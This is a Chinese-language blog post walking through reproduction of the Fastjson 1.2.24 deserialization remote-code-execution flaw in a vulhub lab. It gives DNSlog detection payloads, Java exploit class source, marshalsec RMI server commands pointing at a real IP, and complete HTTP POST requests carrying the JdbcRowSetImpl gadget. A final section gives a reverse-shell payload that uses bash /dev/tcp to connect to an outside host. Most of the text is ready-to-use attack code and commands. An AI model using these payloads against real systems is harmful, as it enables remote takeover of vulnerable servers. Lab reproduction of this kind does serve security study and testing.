Fastjson‐CNVD‐2017‐02833

小数志

共 3425字,需浏览 7分钟

 · 2020-07-30

一、漏洞概述

fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get

方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,

使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用

链。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。详细

的原理分析:https://www.freebuf.com/vuls/208339.html


二、影响版本


Fastjson1.2.24以及之前的所有版本


三、环境搭建


1、使用vulhub一键搭建环境


cd vulhub/fastjson/1.2.24‐rcedocker‐compose up ‐d



2、环境运行后,访问http://your‐ip:8090即可看到JSON格式的输出。



四、漏洞检测


检测工具:链接:https://pan.baidu.com/s/15dqn6ucfa6zoeFIir‐SUJQ 提取码:链接已挂改不了后台回复FastJson获取






手动检测方法:


{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}}{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL","val":"dnslog"}}""}}{"a":{"@type":"java.net.URL","val":"dnslog"}}



此时抓包修改content‐type为json格式,并post payload,即可执行rce


五、漏洞复现


1、编译exp首先编译并上传命令执行代码, 如

http://8.210.235.249/exp.class:
exp代码:
import java.lang.Runtime;import java.lang.Process;
public class exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}



javac exp.java //编译为exp.class

mkdir exp #在根目录创建exp目录,将编译后的exp.class放入exp目录中

将exp.class上传至你的web服务器,地址为http://yours_ip/exp.class。例如我的地址为:http://8.21

0.235.249/exp/exp.class


2、启动RMI


借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class:在自己的vps里开启rmi或者ldap服务推荐使用marshalsec快速开启rmi或ldap服务


git clone https://github.com/mbechler/marshalsec #下载marshalsecmvn clean package ‐DskipTests #使用maven编译jar包python ‐m SimpleHTTPServer 80#启动服务 在exp目录中执行java ‐cp marshalsec‐0.0.3‐SNAPSHOT‐all.jar marshalsec.jndi.RMIRefServer "http://8.210.235.249/#exp" 9988#需要到/marshalsec/target 执行命令




3、发送Payload服务器发送Payload,带上RMI的地址


POST / HTTP/1.1Host: your‐ip:8090Accept‐Encoding: gzip, deflateAccept: */*Accept‐Language: enUser‐Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;Trident/5.0)Connection: closeContent‐Type: application/jsonContent‐Length: 160{  "b":{      "@type":"com.sun.rowset.JdbcRowSetImpl",      "dataSourceName":"rmi://8.210.235.249:9988/exp",      "autoCommit":true    }}



可以看到已经有连接



去靶机主机看一下


docker ps #列出所有容器docker exec ‐it 容器id /bin/bash



到此漏洞已经复现成功


六、反弹shell


只需要将执行的命令修改即可


import java.lang.Runtime;import java.lang.Process;
public class exp { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","‐c","bash ‐i >& /dev/tcp/8.210.235.249/8888 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}


将代码放入编辑器中保存为exp.java文件

放入刚刚创建的exp目录中进行编译

javac exp.java #编译java文件生成exp.class,生成后删除exp.java文件




2、在exp目录中执行启动服务python ‐m SimpleHTTPServer 80



3、进入/marshalsec/target目录执行监听命令

java ‐cp marshalsec‐0.0.3‐SNAPSHOT‐all.jar marshalsec.jndi.RMIRefServer "http://8.210.235.249/#exp" 9988



4、启动nc监听刚刚exp.class文件中的端口



5、burpsuite发送

POST请求

POST / HTTP/1.1Host: ip:8090Accept‐Encoding: gzip, deflateAccept: */*Accept‐Language: enUser‐Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;Trident/5.0)Connection: closeContent‐Type: application/jsonContent‐Length: 157{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://8.210.235.249:9988/exp","autoCommit":true}}


浏览 29
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报